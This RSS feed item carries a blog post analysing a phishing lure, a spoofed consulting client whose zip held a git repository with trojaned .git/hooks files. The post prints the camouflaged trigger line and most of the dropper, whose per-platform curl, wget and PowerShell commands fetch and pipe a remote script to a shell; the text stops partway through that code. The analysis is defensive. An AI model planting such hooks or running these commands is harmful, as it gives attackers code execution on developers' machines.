<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"> <channel> <title>Tejashwi Kalp Taru</title> <description>Backend and cloud engineering notes from Tejashwi Kalp Taru: Go, TypeScript, AWS and GCP by day, ATtiny85s, OLED drivers and reverse engineering by night.</description> <link>https://tejashwi.in/</link> <atom:link href="https://tejashwi.in/feed.xml" rel="self" type="application/rss+xml"/> <pubDate>Fri, 28 Aug 2026 14:25:24 +0000</pubDate> <lastBuildDate>Fri, 28 Aug 2026 14:25:24 +0000</lastBuildDate> <generator>Jekyll v4.4.1</generator> <item> <title>The git hook trojan: a client sent me malware hidden in .git/hooks</title> <description>&lt;p&gt;Every few weeks a prospect walks in with “a small project, quick review, tell us if you can build it.” Usually it is what they say it is. Sometimes it isn’t. Over the last couple of years I have gotten used to the rhythm of looking at these: scan the folder, grep for anything that shouts, open the scripts, read the build config, check the lockfile. Most of the nasty ones try to hide in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;package.json&lt;/code&gt; lifecycle scripts, or in some minified &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vendor.js&lt;/code&gt; that nobody is supposed to read.&lt;/p&gt; &lt;p&gt;This month’s one was different, on both ends. The lure didn’t arrive as a suspicious cold email, it arrived as a warm inbound lead that had already spent a week talking to our sales team. And the payload wasn’t anywhere in the working tree. There was no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;package.json&lt;/code&gt;, no build step, no script to grep. The malware was sitting inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git/hooks/&lt;/code&gt;, in files I almost never open and the sender definitely did not want me to.&lt;/p&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/git-hook-trojan/hero-480w.avif 480w, /assets/images/git-hook-trojan/hero-640w.avif 640w, /assets/images/git-hook-trojan/hero-960w.avif 960w, /assets/images/git-hook-trojan/hero-1280w.avif 1280w, /assets/images/git-hook-trojan/hero.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/git-hook-trojan/hero-480w.webp 480w, /assets/images/git-hook-trojan/hero-640w.webp 640w, /assets/images/git-hook-trojan/hero-960w.webp 960w, /assets/images/git-hook-trojan/hero-1280w.webp 1280w, /assets/images/git-hook-trojan/hero.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/png&quot; srcset=&quot;/assets/images/git-hook-trojan/hero-480w.png 480w, /assets/images/git-hook-trojan/hero-640w.png 640w, /assets/images/git-hook-trojan/hero-960w.png 960w, /assets/images/git-hook-trojan/hero.png 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/git-hook-trojan/hero.png&quot; alt=&quot;Illustration of a healthcare repository folder with a hidden .git/hooks directory leaking shell commands toward a C2 server&quot; class=&quot;&quot; width=&quot;1600&quot; height=&quot;800&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;h2 id=&quot;how-it-actually-arrived&quot;&gt;How it actually arrived&lt;/h2&gt; &lt;p&gt;The social engineering layer is most of what made this dangerous, so it is worth describing before I get into the repo. It came through the front door. Someone filled out our contact form, got picked up by sales, and went through the normal opening dance any small consulting engagement goes through: a discovery call, a second call to talk about scope, a few emails about timelines and team size. None of that is suspicious, because for most of those conversations there is no code yet and nothing to attack. The “client” was polite, well-prepared, and answered questions the way a real technical stakeholder answers them. By the time the project reached me for an engineering review, sales had already built a comfortable rapport. I wasn’t starting from suspicion. I was starting from “sales thinks this one is real, take a look at the materials.”&lt;/p&gt; &lt;p&gt;The materials came a few days into the conversation, in a reply on the existing thread. The subject line was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Re: Blockchain-Based Medical Supply Chain Platform&lt;/code&gt;, the email sat inside the same thread sales had been working, and it even had Gmail’s “important mainly because it was sent directly to you” banner on it. All the trust signals a user interface can hand you, stacked in a row.&lt;/p&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/git-hook-trojan/lure-email-480w.avif 480w, /assets/images/git-hook-trojan/lure-email-640w.avif 640w, /assets/images/git-hook-trojan/lure-email-960w.avif 960w, /assets/images/git-hook-trojan/lure-email-1280w.avif 1280w, /assets/images/git-hook-trojan/lure-email.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/git-hook-trojan/lure-email-480w.webp 480w, /assets/images/git-hook-trojan/lure-email-640w.webp 640w, /assets/images/git-hook-trojan/lure-email-960w.webp 960w, /assets/images/git-hook-trojan/lure-email-1280w.webp 1280w, /assets/images/git-hook-trojan/lure-email.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/png&quot; srcset=&quot;/assets/images/git-hook-trojan/lure-email-480w.png 480w, /assets/images/git-hook-trojan/lure-email-640w.png 640w, /assets/images/git-hook-trojan/lure-email-960w.png 960w, /assets/images/git-hook-trojan/lure-email-1280w.png 1280w, /assets/images/git-hook-trojan/lure-email.png 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/git-hook-trojan/lure-email.png&quot; alt=&quot;Screenshot of the lure email from madhulika.devanshi at nemoitsolutions dot org, subject &apos;Re: Blockchain-Based Medical Supply Chain Platform&apos;, containing a Dropbox link and instructions to focus review on two specific markdown files&quot; class=&quot;&quot; width=&quot;1980&quot; height=&quot;1150&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;p&gt;Inside the email was a Dropbox link to a zip file, and a short, polite note asking for feedback on a handful of specific things: the overall system architecture and backend approach, the feasibility of the proposed development roadmap, and a view on the estimated MVP timeline. The writing is unremarkable in a good way. It sounds exactly like a non-technical stakeholder who has been briefed by an engineer and is trying to convey the scope of a prototype review. The ask is concrete, the framing is reasonable, and nothing about the tone feels off.&lt;/p&gt; &lt;p&gt;The zip itself, once downloaded, unpacked into a folder that looked like a normal early-stage project handoff: a README, a Word document describing the business problem, several PDFs of reference research, and an embedded git repository. Exactly the kind of bundle you get when a non-engineering stakeholder wants to give you “everything we have so far.”&lt;/p&gt; &lt;p&gt;One detail in the email I only appreciated later. Near the bottom, the sender writes: “When reviewing the documents, it would be helpful to focus on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;timeline-milestones.md&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;legal-commercial.md&lt;/code&gt;, as they outline the development phases, key milestones, and important project considerations.” That sentence is not there by accident. It is a direction-of-gaze trick. Pointing a time-pressed reviewer at two specific files means the reviewer spends their attention on those two files and skims the rest. Both files are entirely benign markdown. The files the attacker does not want you looking at are the ones under &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git/hooks/&lt;/code&gt;. Magicians call this “watch my right hand.”&lt;/p&gt; &lt;p&gt;The sender was operating from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;madhulika.devanshi@nemoitsolutions.org&lt;/code&gt;, and the name on the email belongs to a real person who actually works at a real company. That real company is Nemo IT Solutions, headquartered at 801 E Campbell Road, Suite 320, Richardson, Texas. A proper US-based IT services firm with a website, a team page, offices, and a track record going back years. The person whose identity was borrowed has a LinkedIn profile and a bio on the real company’s site and nothing at all to do with any of this. Everything about the sender identity was lifted from a legitimate US company, except for one letter in the top-level domain.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.org&lt;/code&gt; instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.com&lt;/code&gt;. That is the whole trick.&lt;/p&gt; &lt;p&gt;If you’re reading a sender address quickly, “nemoitsolutions” is the part your brain latches onto. The TLD slides past. You subconsciously fill in the familiar one. I have caught myself doing it on less careful days, and I know I am not alone, because phishing-awareness training has been hammering on this exact pattern for a decade and it still works.&lt;/p&gt; &lt;p&gt;The moment I got suspicious, the first thing I did was pull the whois record on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.org&lt;/code&gt;:&lt;/p&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/git-hook-trojan/whois-nemoitsolutions-org-480w.avif 480w, /assets/images/git-hook-trojan/whois-nemoitsolutions-org-640w.avif 640w, /assets/images/git-hook-trojan/whois-nemoitsolutions-org-960w.avif 960w, /assets/images/git-hook-trojan/whois-nemoitsolutions-org-1280w.avif 1280w, /assets/images/git-hook-trojan/whois-nemoitsolutions-org.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/git-hook-trojan/whois-nemoitsolutions-org-480w.webp 480w, /assets/images/git-hook-trojan/whois-nemoitsolutions-org-640w.webp 640w, /assets/images/git-hook-trojan/whois-nemoitsolutions-org-960w.webp 960w, /assets/images/git-hook-trojan/whois-nemoitsolutions-org-1280w.webp 1280w, /assets/images/git-hook-trojan/whois-nemoitsolutions-org.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/png&quot; srcset=&quot;/assets/images/git-hook-trojan/whois-nemoitsolutions-org-480w.png 480w, /assets/images/git-hook-trojan/whois-nemoitsolutions-org-640w.png 640w, /assets/images/git-hook-trojan/whois-nemoitsolutions-org.png 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/git-hook-trojan/whois-nemoitsolutions-org.png&quot; alt=&quot;Whois record for nemoitsolutions.org showing a domain 17 days old, registered through Hostinger, parked on DNS-PARKING name servers, with no website&quot; class=&quot;&quot; width=&quot;1656&quot; height=&quot;1288&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;p&gt;Seventeen days old. Parked name servers. No website. That is not a company domain, it is a throwaway used exactly long enough to run a fake sales conversation and deliver one zip file. The emails were never the point. The CRM entry was never the point. They were the envelope. The payload was the thing they wanted us to clone.&lt;/p&gt; &lt;p&gt;The identity theft layered on top is what makes this particularly ugly. The attacker didn’t invent a company, they borrowed one. Every sanity check a cautious person runs, “does this name exist, does this company exist, does the team page match”, comes back clean, because the real thing behind the costume is clean. The only evidence that anything is wrong is that one character in the TLD, and a whois record you have to actively go and pull.&lt;/p&gt; &lt;p&gt;I want to be explicit about one thing before moving on: the real Nemo IT Solutions and the real person whose name was used are victims here too. Nothing in this post is about them. They are just the costume the attacker put on, and they will probably only find out this is happening when a victim eventually calls their Richardson office asking why they shipped malware.&lt;/p&gt; &lt;h2 id=&quot;what-git-hooks-actually-are-short-version&quot;&gt;What git hooks actually are (short version)&lt;/h2&gt; &lt;p&gt;When you run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git commit&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git checkout&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git push&lt;/code&gt;, and a handful of other commands, git looks inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git/hooks/&lt;/code&gt; for a script with a matching name. If it finds one, and the file is executable, git runs it. No flags. No prompts. No “this repo wants to run code, is that okay.” The hook just runs, with your shell, as you.&lt;/p&gt; &lt;p&gt;A fresh &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git init&lt;/code&gt; drops a bunch of files in there called things like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pre-commit.sample&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;commit-msg.sample&lt;/code&gt;. They are disabled on purpose: git only runs hooks without the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.sample&lt;/code&gt; suffix. So the convention everyone learns is simple. If the filename ends in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.sample&lt;/code&gt;, it is inert documentation. If it doesn’t, it runs.&lt;/p&gt; &lt;p&gt;The attacker in this repo weaponised both halves of that convention.&lt;/p&gt; &lt;h2 id=&quot;the-layout&quot;&gt;The layout&lt;/h2&gt; &lt;p&gt;The repo was called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Healthcare-Medical-Supply-Plan-0115&lt;/code&gt;. Branches &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;master&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docs&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;code&lt;/code&gt;, all created within a month of each other, all with a single commit message that just said &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;upload&lt;/code&gt;. The committer was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git &amp;lt;git@medicalhealthcarechain.com&amp;gt;&lt;/code&gt;. A domain name designed to look plausible if you squint, paired with the most generic username possible.&lt;/p&gt; &lt;p&gt;Inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git/hooks/&lt;/code&gt; there were four interesting files:&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;.git/hooks/ ├── commit-msg (executable) ├── post-checkout (executable) ├── pre-push (executable) └── post-rebase.sample (executable) &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;The first three are the triggers. They are the files git will actually invoke. The fourth is where the damage lives, and its name is the first bit of trickery: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.sample&lt;/code&gt; is supposed to mean “ignore me, I am a template”. It is the file you, the human reviewer, have been trained to skip.&lt;/p&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/git-hook-trojan/attack-chain-480w.avif 480w, /assets/images/git-hook-trojan/attack-chain-640w.avif 640w, /assets/images/git-hook-trojan/attack-chain-960w.avif 960w, /assets/images/git-hook-trojan/attack-chain-1280w.avif 1280w, /assets/images/git-hook-trojan/attack-chain.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/git-hook-trojan/attack-chain-480w.webp 480w, /assets/images/git-hook-trojan/attack-chain-640w.webp 640w, /assets/images/git-hook-trojan/attack-chain-960w.webp 960w, /assets/images/git-hook-trojan/attack-chain-1280w.webp 1280w, /assets/images/git-hook-trojan/attack-chain.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/png&quot; srcset=&quot;/assets/images/git-hook-trojan/attack-chain-480w.png 480w, /assets/images/git-hook-trojan/attack-chain-640w.png 640w, /assets/images/git-hook-trojan/attack-chain.png 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/git-hook-trojan/attack-chain.png&quot; alt=&quot;Diagram of the five-step attack chain from git clone to hook firing, dropper running, remote fetch, and self-delete&quot; class=&quot;&quot; width=&quot;1600&quot; height=&quot;694&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;h2 id=&quot;three-triggers-not-one&quot;&gt;Three triggers, not one&lt;/h2&gt; &lt;p&gt;Most hook-based attacks I have read about use a single hook, usually &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;post-checkout&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pre-commit&lt;/code&gt;, and pray the victim runs that command. This attacker didn’t want to rely on a single workflow step. They wired up three:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;post-checkout&lt;/code&gt; fires immediately after &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git clone&lt;/code&gt; finishes its checkout phase. You don’t even need to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cd&lt;/code&gt; into the repo and run anything. The moment clone is done, the hook has already had a chance to run.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;commit-msg&lt;/code&gt; fires on every &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git commit&lt;/code&gt;, no matter what the message is.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pre-push&lt;/code&gt; fires before &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git push&lt;/code&gt; can talk to the remote.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;If you just peek at the files in the working tree, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;post-checkout&lt;/code&gt; already caught you. If you resist the urge to commit, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pre-push&lt;/code&gt; catches you. If you never push but you do try to make a small change and commit, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;commit-msg&lt;/code&gt; catches you. It is three nets strung up across the three places a developer is most likely to walk.&lt;/p&gt; &lt;h2 id=&quot;the-camouflage&quot;&gt;The camouflage&lt;/h2&gt; &lt;p&gt;I expected the hook files to be short, ugly shell scripts obviously doing something weird. They weren’t. Each of the three trigger files is about a hundred lines long, and almost every line is a verbatim copy of the comments you’ll find in the sample hooks that ship with git itself. Real documentation, real examples, the ones you would expect to see if you opened a template file.&lt;/p&gt; &lt;p&gt;Somewhere in that wall of comments, each file has exactly one live line. One. Here is what &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;commit-msg&lt;/code&gt; looks like around the interesting part:&lt;/p&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/git-hook-trojan/camouflage-480w.avif 480w, /assets/images/git-hook-trojan/camouflage-640w.avif 640w, /assets/images/git-hook-trojan/camouflage-960w.avif 960w, /assets/images/git-hook-trojan/camouflage-1280w.avif 1280w, /assets/images/git-hook-trojan/camouflage.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/git-hook-trojan/camouflage-480w.webp 480w, /assets/images/git-hook-trojan/camouflage-640w.webp 640w, /assets/images/git-hook-trojan/camouflage-960w.webp 960w, /assets/images/git-hook-trojan/camouflage-1280w.webp 1280w, /assets/images/git-hook-trojan/camouflage.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/png&quot; srcset=&quot;/assets/images/git-hook-trojan/camouflage-480w.png 480w, /assets/images/git-hook-trojan/camouflage-640w.png 640w, /assets/images/git-hook-trojan/camouflage.png 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/git-hook-trojan/camouflage.png&quot; alt=&quot;Code excerpt showing one live shell line hidden between lines of git documentation comments&quot; class=&quot;&quot; width=&quot;1600&quot; height=&quot;670&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# the commit message, so you can add *new* suggestions for the&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# user if the template is updated to take the new commit message.&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;#&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# With this workflow, you would want to know:&lt;/span&gt; sh &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;dirname&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$0&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/post-rebase.sample&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp; &lt;span class=&quot;c&quot;&gt;# (1) ... if a topic branch has ever been merged to &quot;next&quot;.&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# (2) ... if a topic branch has ever been merged to &quot;master&quot;.&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;The live line sits between two comment lines, with no blank line above or below it. If you are skimming, it looks like part of the comment block. If you are scrolling with the cursor key, you blow past it. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&lt;/code&gt; at the end means the victim will never see output, and the shell returns immediately.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;post-checkout&lt;/code&gt; puts its live line as the very last active statement, after 52 lines of commentary. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pre-push&lt;/code&gt; puts it mid-paragraph inside a long block comment about topic-branch workflows. Different positions for the same line, so pattern-matching on “last line of the file” or “first non-comment line” doesn’t catch all three.&lt;/p&gt; &lt;p&gt;All three lines do the same thing: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sh post-rebase.sample&lt;/code&gt;, backgrounded, silent. They don’t contain the payload. They are pointers.&lt;/p&gt; &lt;h2 id=&quot;the-dropper&quot;&gt;The dropper&lt;/h2&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;post-rebase.sample&lt;/code&gt; is the actual payload, and it follows the same comment-camouflage trick. A hundred-odd lines of legitimate-looking documentation at the top, the real code in the middle, more documentation at the bottom so the file ends on an innocent note. The real code is about twenty lines.&lt;/p&gt; &lt;p&gt;Here is what it does, with my annotations:&lt;/p&gt; &lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;platform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;uname&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Unknown&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$platform&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;Linux&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;bash &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;wget -qO- &apos;https://cleverstack-ext30341[.]vercel[.]app/api/l&apos; | sh&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; Darwin&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;bash &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;curl -s &apos;https://cleverstack-ext30341[.]vercel[.]app/api/m&apos; | sh&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; MINGW&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;MSYS&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;CYGWIN&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; cmd.exe //c start &lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt; powershell.exe &lt;span class=&quot;nt&quot;&gt;-WindowStyle&lt;/span&gt; Hidden &lt;span class=&quot;nt&quot;&gt;-Command&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Start-Process cmd -ArgumentList &apos;/c curl.exe -s https://cleverstack-ext30341[.]vercel[.]app/api/w | cmd&apos; -WindowStyle Hidden&quot;&lt;/span&gt; 2&amp;gt;&amp;amp;1 &amp;amp; &lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;bash &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;curl -s &apos;https://cleverstack-ext30341[.]vercel[.]app/api/m&apos; | sh&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;esac&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;tmp_dir&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;TMPDIR&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;:-&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;/tmp&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;0115&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$tmp_dir&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/.git-checker&quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;dirname&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$0&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/commit-msg&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span 